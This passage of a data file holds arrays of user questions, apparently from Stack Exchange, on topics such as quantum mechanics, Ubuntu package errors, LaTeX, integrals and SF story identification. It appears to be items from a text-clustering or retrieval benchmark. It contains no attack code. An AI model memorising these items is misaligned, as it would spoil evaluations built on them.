of years now, and so far, the only answers I've come up with are incomplete, not entirely satisfactory, and seem to be much more non-trivial than I feel they should be. So, what do you guys think? Can you motivate the usual formulation of quantum mechanics using only classical mechanics and minimal appeal to experimental results? Note that, at some point, you will have to make reference to experiment. After all, this is the reason why we needed to develop quantum mechanics. In principle, we could just say \"The Born Rule is true because its experimentally verified.\", but I find this particularly unsatisfying. I think we can do better. Thus, I would ask that when you do invoke the results of an experiment, you do so to only justify fundamental truths, by which I mean something that can not itself just be explained in terms of more theory. You might say that my conjecture is that the Born Rule is not a fundamental truth in this sense, but can instead be explained by more fundamental theory, which itself is justified via experiment. Edit: To clarify, I will try to make use of a much simpler example. In an ideal gas, if you fix the volume, then the temperature is proportional to pressure. So we may ask \"Why?\". You could say \"Well, because experiment.\", or alternatively you could say \"It is a trivial corollary of the ideal gas law.\". If you choose the latter, you can then ask why that is true. Once again, you can just say \"Because experiment.\" or you could try to prove it using more fundamental physical truths (using the kinetic theory of gases, for example). The objective, then, is to come up with the most fundamental physical truths, prove everything else we know in terms of those, and then verify the fundamental physical truths via experiment. And in this particular case, the objective is to do this with quantum mechanics.", "Does anybody know which files I need to save in order to have a simple backup? Reason for my question is, that my Galaxy Android smartphone lost all calendar data without any interaction. I found tons of apps, tons of sync stuff, but NO simple list of files to save. I do NOT want to save my data remotely on Google. There must be at least one local file (database?) on my phone containing the synced calendar file (on my server, using ICSSync)", "I upgraded on a fresh install to Ubuntu 12.10, and I've tried installing wine many times, but I always get this: This error could be caused by required additional software packages which are missing or not installable. Furthermore there could be a conflict between software packages which are not allowed to be installed at the same time. The following packages have unmet dependencies: wine: It won't let me install the dependencies either it says it needs another set of dependencies to install them. Using Asus KJ50 64bit OS, dual boot with Windows 7 sudo apt-get install wine1.5 Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation: The following packages have unmet dependencies: wine1.5 : Depends: wine1.5-i386 (= 1.5.15-0ubuntu1) but it is not installable Recommends: gnome-exe-thumbnailer but it is not going to be installed or kde-runtime but it is not going to be installed Recommends: ttf-droid Recommends: ttf-mscorefonts-installer but it is not going to be installed Recommends: ttf-umefont but it is not going to be installed Recommends: ttf-unfonts-core but it is not going to be installed Recommends: winbind but it is not going to be installed Recommends: winetricks but it is not going to be installed E: Unable to correct problems, you have held broken packages.", "Shell with better editing capabilities Shells (at least what I know) have really bad command editing capabilities. For example: I can't point the cursor to any point of the command. I can't select and backspace/delete/replace text in the command. Currently these are so distracting, I use gedit to edit commands before pasting them to the terminal. Is there any solution that's good for these?", "Book a return flight a year in advance Is it possible to buy an airline ticket that has me returning to my country after a year being abroad? I can't seem to book a flight that far in advance online.", "Expected Value of Max of IID Variables What is the expected value of the maximum of 500 IID random variables with uniform distribution between 0 and 1? I'm not quite sure of the technique to go about solving something like this. Could anyone point me the right direction? Thanks", "I have white blank on the posts. App Version: 1.0.89 Device Manufacturer: Meizu Device Model: m2 OS Version: 5.1 (1464689330) I can't see the questions and the answers and the comments. I saw that it's a common issue.. Does it have a fix? EDIT - I saw answer. This answer is ~2 years old. It says that it will fix in the next update. His version is 1.0.59 - mine is 1.0.89. Huge different. The problem is still exists!", "How to test if my server is vulnerable to the ShellShock bug? How can I ensure my Bash installation is not vulnerable to the bug anymore after the updates?", "How to find out why \"context is incorrect\"?", "For gravity, we have General Relativity, which is a geometric theory for gravitation. Is there a similar analog for Electromagnetism?", "How can I report bugs with or request features for the Stack Exchange mobile apps?", "I have a bash script which must call another bash script which varies per-user in order to get some configuration information, like so: somescript: #!/bin/bash ${HOME}/.ssconfig echo \"Hello, ${VARIABLE}!\" ~/.ssconfig #!/bin/bash VARIABLE=world Which, instead of giving me Hello, world! as expected, gives me Hello, ! How can I pass variables up from a script to the one that called it?", "Studying from Roman's Advanced Linear Algebra, I want to prove that $$U^* \\otimes V^* \\cong (U \\otimes V)^* \\cong \\hom(U,V;\\mathbb{F})$$ The author proves that $U^* \\otimes V^* \\cong (U \\otimes V)^*$ by showing that there is an unique linear transformation $$\\theta:U^* \\otimes V^* \\to (U \\otimes V)^*$$ defined by $\\theta(f \\otimes g)=f \\odot g$ where $(f \\odot g)(u \\otimes v)=f(u)g(v)$ I want to prove that $U^* \\otimes V^* \\cong \\hom(U,V;\\mathbb{F})$. I tried to use the universal property by fixing $f \\in U^*, g\\in V^*$ and defining $S: U^*\\times V^* \\to \\hom(U,V;\\mathbb{F})$ as $S(f,g)=F_{f,g}$, where $F_{f,g}(u,v)=f(u)g(v)$, but I got stuck.", "How do I cd into a directory in the home folder?", "C# vertical label in a Windows Forms" ]

[ "Merging two files, one column at a time", "While executing a C program, a.out, using the Ubuntu terminal, why do I always need to type ./ before a.out, instead of just writing a.out? Is there solution for this?", "How to change the camera from Landscape to Portrait I need a way to render a picture that is longer heighth-wise than width-wise. Changing the scale of the camera does nothing. I've been told to look in the scene focus settings, and I didn't see anything. Is there a way to change the shape of the rendered image?", "How to link dataframes in ArcGIS or QGIS? The below image shows a layout in ArcGIS 10.1 with four dataframes. Each dataframe is of the same geographic area, although they are different images. For example, the top left image is a 1989 DOQ, the top right image is a reversed 1989 DOQ, the bottom left image is a 2012 DOQ, and the bottom right image is a reversed 2012 DOQ. Is it possible to link the dataframes so that panning the image in one dataframe pans the images in all of the other dataframes (i.e. similar to how you can \"Link Views\" in Erdas Imagine)? Is this possible in QGIS?", "Rank correlation statistics comparison I am trying to understand the relative behavior of the following rank correlation statistics: Spearman coefficient Kendall Tau / Concordance percentage Normalized Gini coefficient (area under curve of percentage captured versus percentage observations) Normalized Area under ROC curve (for binary classifiers) I don't believe any of these are functionally related to the others. The accepted answer references and Spearman and Kendall are highly correlated (as one would expect). Are there good intuitions behind/discussions of relative (across datasets) or absolute (for a given dataset) differences for (any pair of) these measures?", "Comparing two integers without any comparison Is it possible to find the greatest of two integers without any comparison? I found some solutions: if(!(a/b)) // if a is less than b then division result will be zero. { cout << \" b is greater than a\"; } else if (!(a-b)) // we know a is greater than or equal to b now. check whether they are equal. { cout << \"a and b are equal\"; } else cout << \"a is greater than b\"; But if(c) or if(!c) is a comparison to zero. In addition it doesn't work for negative numbers. In fact I need a solution that avoids any if statement. Instead I should use switch statements and arithmetic operators. ThanX.", "Convert a javascript associative array into json object using stringify and vice versa", "How do I install drivers for an Intel HD Graphics? In System Info in 11.10, the graphics driver wasn't detected. I use ACER Aspire 4750 with Intel Core i3-2340M and Intel HD Graphics 3000 graphic card How to install the driver for my Ubuntu?", "Are Complex Substitutions Legal in Integration? This question has been irritating me for awhile so I thought I'd ask here. Are complex substitutions in integration okay? Can the following substitution used to evaluate the Fresnel integrals: $$\\int_{0}^{\\infty} \\sin x^2\\, dx=\\operatorname {Im}\\left( \\int_0^\\infty\\cos x^2\\, dx + i\\int_0^\\infty\\sin x^2\\, dx\\right)=\\operatorname {Im}\\left(\\int_0^\\infty \\exp(ix^2)\\, dx\\right)$$ Letting $ix^2=-z^2 \\implies x=\\pm\\sqrt{iz^2}=\\pm \\sqrt{i}z \\implies z=\\pm \\sqrt{-i} x \\implies dx = \\pm\\sqrt{i}\\, dz$ Thus the integral becomes $$\\operatorname {Im}\\left(\\pm \\sqrt{i}\\int_0^{\\pm\\sqrt{-i}\\infty} \\exp(z^2)\\, dz\\right)$$ This step requires some justification, and I am hoping someone can help me justify this step as well: $$\\pm \\sqrt{i}\\int_0^{\\pm\\sqrt{-i}\\infty} \\exp(z^2)\\, dz=\\pm\\sqrt{i}\\int^\\infty_0\\exp(z^2)\\, dz=\\pm\\sqrt{i}\\left(\\frac{\\sqrt{\\pi}}{2}\\right)$$ Thus $$\\operatorname {Im}\\left(\\int_0^\\infty \\exp(ix^2)\\, dx\\right)=\\operatorname {Im}\\left(\\pm\\frac{\\sqrt{i\\pi}}{2}\\right)=\\operatorname {Im}\\left(\\pm\\frac{(1+i)\\sqrt{\\pi}}{2\\sqrt{2}}\\right)=\\pm\\frac{1}{2}\\sqrt{\\frac{\\pi}{2}}$$ We find that the correct answer is the positive part (simply prove the integral is positive, perhaps by showing the integral can be written as an alternating sum of integrals). Can someone help justify this substitution? Is this legal?", "I want to untriangulate every object in my scene with this script: import bpy for ob in bpy.data.objects: bpy.ops.mesh.tris_convert_to_quads(limit=0.9, uvs=False, vcols=False, sharp=False, materials=False) But it doesn't work in object mode, any ideas on how I can get it working?", "When I add LIMIT 1 to a MySQL query, does it stop the search after it finds 1 result (thus making it faster) or does it still fetch all of the results and truncate at the end?", "INT comparison without WHERE statement", "Unresolved external symbol on static class members", "This story was in one of the first SF anthologies I ever read, in the mid-1960s. A meteor lands near to a house. The householder finds it and carries it into his house (meteor is grapefruit/football sized). It’s actually a crashed spaceship, crewed by beings the size of beetles or cockroaches. They emerge, and are spotted by the householder, who of course thinks they’re insects, but notices one seems to be holding a tiny tube. He reaches towards it and the alien shoots his hand (the tube being a gun, of course), stinging him. I can’t recall how the story ends, but I’d love to know what the story was called, and who its author was, as I’m trying to assemble a list of the early SF that fired my enthusiasm for the genre.", "Drawing text on an image background that has dark and bright parts Often, I want to write text over a background image. If the background image is bright, I use a dark color for the text, and vice versa. But, often the image has both dark and bright parts. So a dark text is unreadable on the dark parts, and a bright text is unreadable on the bright parts. I currently use one of several solutions, all of them are imperfect: Brighten the image and use a dark font, or darken the image and use a white font; the problem is that it reduces the beauty of the background image. Use grey text (as in this question: ). But grey text often looks unappealing, and is still only barely readable. Use dark text, and try to position it on the bright spots of the image (or vice versa). This takes a lot of time because it requires me to position each word separately. Are there better solutions to this problem? In particular: is there an automatic tool that takes an image and a text, and positions the text only on the dark/bright parts of the image?", "Direct observations of a black hole?", "Cut part from video file from start position to end position with FFmpeg I have a video file of 30 minutes, but I want to extract a video from 00:09:23 to 00:25:33. I can define the startposition with -ss, but I couldn't find one for the end position. Any help please?", "Solving ODE with negative expansion power series I am solving a series of ODE, such that each DE is equal to some degree of term that I'm expanding to. For instance, one DE is this: $\\xi^r\\partial_r g_{rr}+2g_{tt}\\partial_t\\xi^t=\\mathcal{O}(r)$ $g_{ii}$ are given, from metric, but that's not important. I need to assume that the solution (since I'm looking for components of $\\xi^\\mu$, which is a vector with components $\\xi^t,\\xi^r,\\xi^\\phi$) is given with power series of the form: $\\xi^\\mu=\\sum\\limits_{n}\\xi^\\mu_n(t,\\phi)r^n$, and this is to be seen as expansion around $1/r$ (expansion around $r=\\infty$). Now when I plug this in the ODE I get this $\\frac{2}{l^2}\\sum_n\\xi^r_nr^{n+1}+2\\sum_n\\xi^t_{n,t} r^n+\\frac{2}{l^2}\\sum_n\\xi^t_{n,t}r^{n+2}=\\mathcal{O}(r)$, where $\\xi^\\mu_{n,i}$ is the derivative with the respect to i-th component. What troubles me is, how to expand this? Do I set n=0,-1,-2,... until my $\\mathcal{O}(r)$ terms cancel each other out? Or? I'm kinda stuck :\\", "Government investigating home library of missing inventor This is a short story from the 50s or 60s. A scientist or inventor has invented either teleportation or a space drive and has disappeared - leaving no documentation or clues except his extensive home library. The government gathers all types of scientists to attempt to duplicate his research. Several months later, as they are about to launch the first space drive space ship, the officer in charge reveals that there was no 'disappeared inventor'. The greatest step toward a new impossible concept is knowing that it has already been done.", "Is there a way to convert number words to Integers?" ]

[ "Which databases use real multidimensional indices? Is oracle ever using several indices to get data from tables, or will it always take the one that seems to have the highest selectivity? How about other dbms?", "Why can't I suggest edits on SE meta sites?", "I'd like to know your opinion on citations in abstracts. At my university, there is no rule on that matter so it's basically a question of preference. Do you think it's okay to have citations in an abstract or do you personally prefer to have the abstract be a ``stand-alone'' piece of work?", "Are there any advantages to stunning an alien besides being able to interrogate it? Aside from being able to interrogate an alien in the Alien Containment chamber, are there any particular advantages to risk trying to stun an alien instead of just killing it outright?", "How to convince stakeholders to invest in proper UX? I'm working on a web app with a team of 5, including me. One database administrator, one project manager, two programmers and me the front-end designer. This project is an internal reporting system. Anyways, I've struggling a little bit with my team, the DBA and two programmers seem to control our meetings with what Data we are going to pull and the best way to work it into an object model. And then look to me to design some pretty interface. Truth is, we've never measured the objectives of this application and what strategy will best meet them from a front-end design/UX standpoint. We've done no wire frames, no planning of content, no planning of pages, no conversations on specific interface components, nothing like that. It seems my team is content with designing and building the entire UX/UI based on a couple of ideas we've spit-balled in meetings. Forgive me if this sounds too much like a gripe, but I'm at a loss. How do I get my team to understand, we can't just throw the front-end together based on back-end data and the interface HAS to be well planned out and organized?", "Assigning integer to finite CW complex such that following hold.", "Prove the Radical of an Ideal is an Ideal I am given that $R$ is a commutative ring, $A$ is an ideal of $R$, and $N(A)=\\{x\\in R\\,|\\,x^n\\in A$ for some $n\\}$. I am studying with a group for our comprehensive exam and this problem has us stuck for two reasons. FIRST - We decided to assume $n\\in\\mathbb{Z}^+$ even though this restriction was not given. We decided $n\\ne 0$ because then $x^0=1$ and we are not guaranteed unity. We also decided $n\\notin\\mathbb{Z}^-$ because $x^{-1}$ has no meaning if there are no multiplicative inverses. Is this a valid argument? SECOND - We want to assume $x,\\,y\\in N(A)$ which means $x^m,\\,y^n\\in A$ and use the binomial theorem to expand $(x-y)^n$ which we have already proved is valid in a commutative ring and show that each term is in A so $x-y$ is in $N(A)$. The biggest problem is how to approach the $-y$ if we are not guaranteed unity. Does anyone have any suggestions? Thank you in advance for any insight.", "XML to CSV Using XSLT I have the following XML document: <projects> <project> <name>Shockwave</name> <language>Ruby</language> <owner>Brian May</owner> <state>New</state> <startDate>31/10/2008 0:00:00</startDate> </project> <project> <name>Other</name> <language>Erlang</language> <owner>Takashi Miike</owner> <state> Canceled </state> <startDate>07/11/2008 0:00:00</startDate> </project> ... And I'd like to get this from the transformation (XSLT) result: Shockwave,Ruby,Brian May,New,31/10/2008 0:00:00 Other,Erlang,Takashi Miike,Cancelled,07/11/2008 0:00:00 Does anyone know the XSLT to achieve this? I'm using .net in case that matters.", "Lost space after removing bootcamp So I removed bootcamp and now there is a partition called \"free space\" that I can't remove. Here is my output from diskutil list: Here is the screenshot from disk utility showing the partitions: And here is the error I get when I try to remove \"free space\": Heres the output when I run sudo diskutil apfs resizeContainer disk0s2 0", "Suppose we have a magnetic field directed into the computer screen. Assume that there is no gravitational field. Now suppose we have a stationary positively charged particle in the magnetic field. The magnetic force is given by $$\\mathbf{F}=q\\mathbf{v}\\times\\mathbf{B}$$ Since $\\mathbf{v}=0, \\mathbf{F}=0$. Now pick a reference frame moving to the left with constant velocity. In this frame, the particle is moving to the right with constant velocity. So, the magnetic force is directed upwards. From what I've learnt in physics, forces are independent of choice of reference frames as long as the frames are inertial. But in the 2 inertial reference frames I have chosen, I get 2 different magnetic forces. How do we reconcile this?", "$m$ is the Lebesgue measure. I was thinking that: $\\Bbb Q$ is dense and $m(\\Bbb Q)=0<1$ but it fails to be open, but maybe I could construct an open set from this fact, or also using that $(0,1)$ is a dense and open subset but $m(0,1)=1$. Any hints or ideas will be very appreciated. Thanks.", "How can I specify a custom date formate to be validated with the for jQuery?", "Does an increasing sequence of reals converge if the difference of consecutive terms approaches zero?", "Debian 10 systemd, how to disable autostart of graphical environments I installed a graphical environment on a server and I have decided that I no longer want to run that environment at boot. How can I disable it with systemd? This is gnome desktop environment.", "I had some NEF files in a folder that I didn't do anything with. When importing them in Lightroom, no previews and a \"file unsupported or damaged message\" So I tried with Nikons ViewNX, nothing. Even not in DxO or PhotoMechanic. I had a look with EXIFTool and the corrupt file prints me only this: ExifTool Version Number : 8.39 File Name : _DSC5559.NEF Directory : /Users/tunafish/Desktop File Size : 12 MB File Modification Date/Time : 2010:11:29 12:46:56+01:00 File Permissions : rwxrwxrwx Error : File format error I saw another question on photo.stack and tried to copy over the makernotes from a good file (_DSC5556.NEF) with exiftool -tagsfromfile _DSC5556.NEF -makernotes _DSC5559.NEF but EXIFTool gives me this error Error: Not a valid TIFF - _DSC5559.NEF 0 image files updated 1 files weren't updated due to errors I have uploaded 2 NEF's, with _DSC5559.NEF being the corrupt one here:", "had declared the sentence below as follow: 1) STAR TURN, 2) BEST LINES. I wish Bernard Cribbins was my grandad. Perhaps he would be willing to adopt? Rattigan: “If only that was possible.” The Doctor: “If only that were possible. Conditional clause.” Is 'was' after 'I wish', 'if only' and 'if' (in conditional clauses) colloquial? Does it be used in formal speech and writing?", "Can not move polygons but only vertices of an object by bmesh!", "How can I mount my partition with executive permissions using the launcher icons?", "For example: $$7x \\equiv 1 \\pmod{31} $$ In this example, the modular inverse of $7$ with respect to $31$ is $9$. How can we find out that $9$? What are the steps that I need to do? Update If I have a general modulo equation: $$5x + 1 \\equiv 2 \\pmod{6}$$ What is the fastest way to solve it? My initial thought was: $$5x + 1 \\equiv 2 \\pmod{6}$$ $$\\Leftrightarrow 5x + 1 - 1\\equiv 2 - 1 \\pmod{6}$$ $$\\Leftrightarrow 5x \\equiv 1 \\pmod{6}$$ Then solve for the inverse of $5$ modulo 6. Is it a right approach? Thanks.", "What is the purpose of -e in sed command? I can't find any documentation about the sed -e switch, for simple replace, do I need it? e.g. sed 's/foo/bar/' VS sed -e 's/foo/bar/'" ]

[ "I have been trying to get a sense of the different problems in frequentist settings where MCMC is used. I am familiar that MCMC (or Monte Carlo) is used in fitting GLMMs and in maybe Monte Carlo EM algorithms. Are there more frequentist problems where MCMC is used?", "Show path of a body of where it should go after linear impulse is applied I am making a game with Andengine and Box2D. I have a dynamic body and I apply linear impulse on the body to move it around when the user have touched the screen. Now I want to show the path where the body will go when the user have touched. If you have played Angry Birds or Basket Ball Shoot or any other which have projectile motion with a path shown you will get my point. I want to show the white dots which are shown in those games.", "Compute $\\int_{0}^{\\infty}\\frac{x\\sin 2x}{9+x^{2}} \\, dx$", "Can I transfer saved data from my old PS3 hard drive to my new PS3? A while ago, my PS3 completely broke. Every time I turn it on, it just completely shuts down a few seconds later. I decided to buy a new ps3 to play my old games. The problem is that I don't have my saved data, but I still have the original hard drive. Is it possible to somehow transfer the saved data from the old hard drive to my new PS3? I was thinking maybe I could clone the hard drive, but I don't have a spare hard drive to do it on. I do however have a 2 TB external hard drive. Would it be possible to clone it on the external? Are there any alternative methods?", "How can I suppress the year from appearing in the bibliography for entries of type @inproceedings? In my specific case the year is implied in the booktitle (e.g. FOCS '09) so it is redundant when I need to save space. I found and the \"second solution\" looks promising but I am not sure how to translate it to only suppress the year for one type of entry. I am guessing \\ifentrytype might be helpful. I am using biblatex+biber.", "Trying to identify a science fiction short story from an anthology likely published before 1991. Aliens invade during a nuclear war (which would be World War III, WWIII, WW3). The warring nations then turn their nukes on the landing sites, but the invasion succeeds. Believe the setting is in the U.S., possibly Pacific Northwest, but definitely a mountainous region. Based on negative inference from the aliens' description of humans as fur-less, no-tail, bipeds (or similar), the aliens are apes or monkeys. The aliens describe Earth as worse than the Hell planet they previously conquered. They see our tanks and think that we can't have more than a few of those to fight with. Yet the aliens are somewhat benign, as they take some children back to their parents for a stern talking-to after the children run an alien convoy off the road into a chasm by stringing a rope across the road.", "Why do PBX systems use -48 V? It seems common that PBX and other telephone hardware use a positive-ground power supply, where the \"hot\" line is at -48v. What's the reason for that?", "Is there a significant difference between \"rock\" and \"stone\"? I found this pretty good small research, but I am still concerned about \"regular usage\" in life, say, when I am talking in the office, especially because of this comment: To me: Stone is something you can pick up with one hand (for throwing). A rock takes two hands.", "I'm trying to find the infinite sum that is defined by: $$ 3 \\cdot \\frac{9}{11} + 4 \\cdot \\left(\\frac{9}{11}\\right)^2 + 5 \\cdot \\left(\\frac{9}{11}\\right)^3 + \\cdots $$ However, I do not know of any known formula to do this. Am I missing something really simple? Thanks!", "Install software from packages, or build it from source?", "And now I am unable to chmod it back.. or use any of my other system programs. Luckily this is on a VM I've been toying with, but is there any way to resolve this? The system is Ubuntu Server 12.10. I have attempted to restart into recovery mode, unfortunately now I am unable to boot into the system at all due to permissions not granting some programs after init-bottom availability to run- the system just hangs. This is what I see: Begin: Running /scripts/init-bottom ... done [ 37.062059] init: Failed to spawn friendly-recovery pre-start process: unable to execute: Permission denied [ 37.084744] init: Failed to spawn friendly-recovery post-stop process: unable to execute: Permission denied [ 37.101333] init: plymouth main process (220) killed by ABRT signal After this the computer hangs.", "Which 1970s UK fantasy kids TV show has an older brother die?", "What are quarks made of? So atoms are formed from protons and neutrons, which are formed from quarks. But where do these quarks come from? What makes them?", "Does a Readied spell immediately use a spell slot?", "How does one prove that addition on $\\mathbb{R}$ is associative?", "Divergence of $\\sum_{n=1}^{\\infty} \\frac{1}{2+i^n}$? I notice that, $i^n = i, \\quad if \\text{ } n \\equiv \\text{ } 1 \\text{ } mod \\text{ } 4$ $i^n = -1, \\quad if \\text{ }n \\equiv \\text{ } 2 \\text{ } mod \\text{ } 4$ $i^n = -i, \\quad if \\text{ }n \\equiv \\text{ } 3 \\text{ } mod \\text{ } 4$ $i^n = 1, \\quad if \\text{ } n \\equiv \\text{ } 0 \\text{ } mod \\text{ } 4$ so the series $\\sum_{n=1}^{\\infty} \\frac{1}{2+i^n}$ seems to be an alternating series that does not converge to any point in the complex plane. Is there a rigorous way to prove this divergence? How would you write a proof to this divergence or convergence (if I am wrong)? Thanks!", "How can I get a shapefile from a postgis query? My data is in a PostGIS database. I would like to generate a shapefile from a query. How can I do that?", "Show $\\operatorname{Aut}(C_2 \\times C_2)$ is isomorphic to $S_3=D_6$", "Show that if $ R $ is an integral domain then a polynomial in $ R[X] $ of degree $ d $ can have at most $ d $ roots Show that if $ R $ is an integral domain then a polynomial in $ R[X] $ of degree $ d $ can have at most $ d $ roots. Thoughts so far: I feel like I might be missing something here. If $ R $ is an integral domain, then so is $ R[X] $. The factor theorem gives a correspondence between roots and factors. Clearly (is this clear?) a polynomial of degree $ d $ can't have more than $ d $ irreducible factors.", "By integration by parts and the substitution $x = \\sin t$ we can easily calculate the integral $\\int_{0}^{1} \\ln (x+ \\sqrt{1-x^2})dx$ which equals to $\\sqrt{2} \\ln (\\sqrt{2} +1) -1.$ I’ve tried to use the same substitution $x = \\sin t$ to calculate the integral $ \\int_{0}^{1} \\frac {\\ln (x+ \\sqrt{1-x^2})}{x}dx,$ which becomes $$ \\int_{0}^{\\frac {\\pi}{2}} \\frac {\\ln \\sin (t+ \\frac {\\pi}{4})}{\\sin t}dt$$ It seems difficult to solve the particular integral. Any help?" ]

[ "Methods of speeding up a huge DELETE FROM with no clauses Using SQL Server 2005. I am performing a huge DELETE FROM with no where clauses. It's basically equivalent to a TRUNCATE TABLE statement - except I'm not allowed to use TRUNCATE. The problem is the table is huge - 10 million rows, and it takes over an hour to complete. Is there any way of making it faster without: Using Truncate Disabling or dropping indexes? The t-log is already on a separate disk. Any suggestions welcome!", "Shutdown and User button missing in panel I faced with a problem after update, I missed 2 buttons from above panel, System menu (including shutdown, suspend & …) and User (including log out & …) how can I restore them !?...", "HTML escapes appearing in node titles on bespoke content type — substitutions?", "Several files in my home directory have been disappearing. E.g. .bashrc, .bash_profile, authorized_keys and now .profile. Regardless of how this happened, I would like to restore the original pristine .profile file. If I create a new user on my system one is created. Where can I find this .profile contents from a fresh, untouched install?", "Is there a particular reason that using clone = obj *1 is avoided when \"cloning\" objects?", "How do I add a DOM element with jQuery?", "How to retrieve a module's path? I want to detect whether module has changed. Now, using inotify is simple, you just need to know the directory you want to get notifications from. How do I retrieve a module's path in python?", "How did Harry remove the Philosopher's Stone from the Mirror of Erised? ‘How did I get the Stone out of the Mirror?’ ‘Ah, now, I’m glad you asked me that. It was one of my more brilliant ideas, and between you and me, that’s saying something. You see, only one who wanted to find the Stone – find it, but not use it – would be able to get it, otherwise they’d just see themselves making gold or drinking Elixir of Life.’ Philosopher's Stone - page 217 - Bloomsbury - chapter seventeen, The Man With Two Faces - Harry talking with Dumbledore Dumbledore doesn't directly answer Harry's question, but rather describes under what circumstances a person could collect the Philosopher's Stone from the mirror. Did Harry have to do anything to retrieve the stone, such as reach into the mirror and take it? If not, what kind of magic could have removed the stone from the mirror and put it into Harry's possession? A canon-based answer is preferred, such as the books, interviews with J.K. Rowling, or info from Pottermore, but subjective answers within the spirit of canon are welcome.", "Does it make sense to interact 2 dummy variables?", "Connection between rank and matrix product I have a problem understanding the following: Let $A$ be an $m \\times n$ matrix and let t $\\in \\mathbb{N}$. Prove that $\\operatorname{rank}(A)\\leq t$ if and only if there exists an $m \\times t$ matrix $B$ and a $t \\times n$ matrix $C$ so that $A = BC$. I know what a rank is but I can't make a connection between the rank and the existence of two matrices such that $A = BC$.", "How to prevent upper case in page header? I just came across this small problem which I can't seem to fix. I have a section which looks like this: \\section{Properties of $C_q$} The problem is that the header of the page uses upper case and so it displays this section title as if I had written \\section{Properties of $C_Q$} How can I make sure the q is always lower case?", "How to write (La)TeX (with parentheses) [or any other TeX-related logo] I'm looking after a macro to write the (La)TeX logo (with parentheses), i.e. something similar to \\TeX, \\LaTeX, but where the output includes ()'s.", "Shells have a useful feature where pressing the keyboard UP arrow replaces the contents of the current command line with the previous command that was entered. (And if you do it again, the command before that, and so on.) I would like a similar feature, where pressing (some other button) replaces the contents of the current command line with the last line of output from the previous command (and if you do it again, the previous line of output , and so on.) Is there any shell that provides a feature like this? The motivation is that you often want to run a command, and then run another command with part of the previous commands's output as input. (No, I don't want to do anything involving piping the output of one command into the next. I'm looking for an interactive experience, where you run the first command, see its output, and then get a line of that output into your next command, without having to reach for the mouse to do a clumsy copy-and-paste.)", "If a user is the type of person to consecutively get downvoted to potential negative reputation, so be it. What's the reasoning to maintain a minimum of one? One reason that may justify this is of trying to not deter new users from the site who haven't read the FAQ and unknowingly and wrongly ask or answer a question. But most of us acknowledge this and not downvote in such a scenario. So what's the reasoning behind this lower bound of 1?", "I'd like to be able to easily transfer large files wirelessly, fast, between Android devices - preferably without requiring root. As a secondary objetive, it wouldn't hurt if the same solution could be used, to transfer files between the Android devices and a Windows PC. Specifically, I'm trying to exchange files between my Nexus 7 (Android 4.2.2) and Samsung Galaxy S2 (Android 4.0.4). Bluetooth is simply too slow, so that's out of the question Transfer via the Internet is also not an option, hence so is cloud-based solutions Only Nexus 7 supports NFC, so that's out too looked promising and very simple, but does not work on \"Devices that don't have WiFi Tethering setting, such as the Nexus 7\" Wi-Fi direct ( and up) seems to be a decent lowest common denominator between my two devices, however... Galaxys S2's native Send via Wi-Fi Direct sees the Nexus, but seems to get stuck in the \"Connecting...\" most times. When there finally seems to be breakthrough, I get \"Waiting...\" and a spinning circle. Even if it worked, it would only allow me to send from the Galaxy S2 to the Nexus 7, as a similar option os not present on the Nexus 7. J4velin's is no longer available in the Play Store, with the following explanation: WiFi Direct drivers are broken on many devices, which led to users leaving negative reviews for this app. As I don't see any sense in keeping a free app published when only getting 1-star-ratings (for an issue which only your device manufacturer can fix), the app is no longer available at the Play Store. Nick Adams' seems flaky at best. Invations from Nexus 7 to Galaxy S2 are never received. Invitations from Galaxy S2 are mostly received, but even when accepting promptly, the peers doesn't always show as connected. When they finally do, usually after quite a long wait, I can select a file to send but it's never transferred - \"Transfer failed\" it says almost immediately in the notification bar. budius inc's is working slightly better, but still very unreliable. I actually managed to (occasionally) send files both ways, but never when attempting connection from the Nexus 7. To send from the Nexus 7 to the Galaxy S2, I had to go through this akward manoeuvre: Share the file on the Nexus 7 via the WiFi Shoot intent Start the Receive WiFi Shoot app on the Galaxy S2 Invite the Nexus 7 from the Galaxy S2 (never the other way around!) Accept the invitation on the Nexus 7 Press the Shoot button on the Galaxy S2 Take the whole switching back and forth between devices, and garnish with random delays or failures in any step of the process... Is there really no easy, reliable, fast way to transfer files directly between different Android devices? Generally, my experience with Wi-Fi Direct is all but positive... A device often won't even see a device lying next to it Sometimes, it will see the other device, only to have it disappear from the list, before I have the chance to connect When I do have a chance, invations are not realiably received (from Galaxy S2 to Nexus 7 mostly reliable, but never worked the other way around) When invitations are received (and accepted), a partnership rarely manages to be setup (\"invited\" or \"connecting\") And even when that happens, some apps can't seem to transfer files through it... *Sigh* Maybe J4velin's explanation pretty much sums up the sad state of Wi-Fi Direct on Android, which otherwise seemed as the best solution to my quest?", "no border around hyperlinks with hyperref", "Is there a maximum possible acceleration?", "How to find Hamiltonian from this simple Lagrangian? (tricky) $$L~=~ \\frac{1}{2} \\dot{q} \\sin^2{q} $$ Is it zero or not defined?", "Prove $e^x - e^y \\leq e |x-y|$ for $x$ belonging to $[0,1]$ I'm not sure how to go about this. Does it involve using MVT? I got as far as saying $e = \\frac{e^x - e^y}{x-y}$.", "Why do rainbows have distinct colors?" ]

[ "Why doesn't Mac OS X source ~/.bashrc?", "How can there be animals on the surface in Zion's world? It is apparently canon that in Neo's day. However, in the first movie, The Matrix, Morpheus tells Neo that one of the things known for certain is that humans \"burned the sky\" in order to deny solar engery to the machines, which in turn led to the humans who survived the War being plugged into the Matrix to provide bioelectric energy to supply the machines. If there's not enough sunlight for solar power, how can there be enough to grow plants to serve as food for animals? Low levels I can understand -- house plants, at least, thrive in conditions too dim for solar panels to produce cost-effective power -- but every surface scene we see in the trilogy is as dark as a cloudy night; light coming only from the machines. That wouldn't begin to support photosynthesis, which means all animal life would starve in, at most, a matter of a few years.", "Show that, if $a$ and $h$ are positive numbers, $h < a^2$, then $$\\sqrt{a^2 + h}-a < \\frac{h}{2a} < a - \\sqrt{a^2 - h}$$ I've been working on this problem for about 2 hours now, but I've made no progress. I'm not looking for an answer, but I just need some help to get me started since we didn't practice inequalities this complex in highschool. Thanks. All I can tell is that we're supposed to take the square root of an expression at some point since one inequality ( h < a^2 ) becomes two. Edit : Thank you guys for the replies, but I'd appreciate only hints in the future (like Robert Israel) so that I can learn. Regardless, I found a different way to do it, so it's cool :)", "No room for a new \\dimen", "Amy: What day is it today? Tom: It's Monday. Hmm... I like Monday. Amy: What do you have today? Tom: We have math, science and art.What about you? Amy: We have English and P.E. What do you have 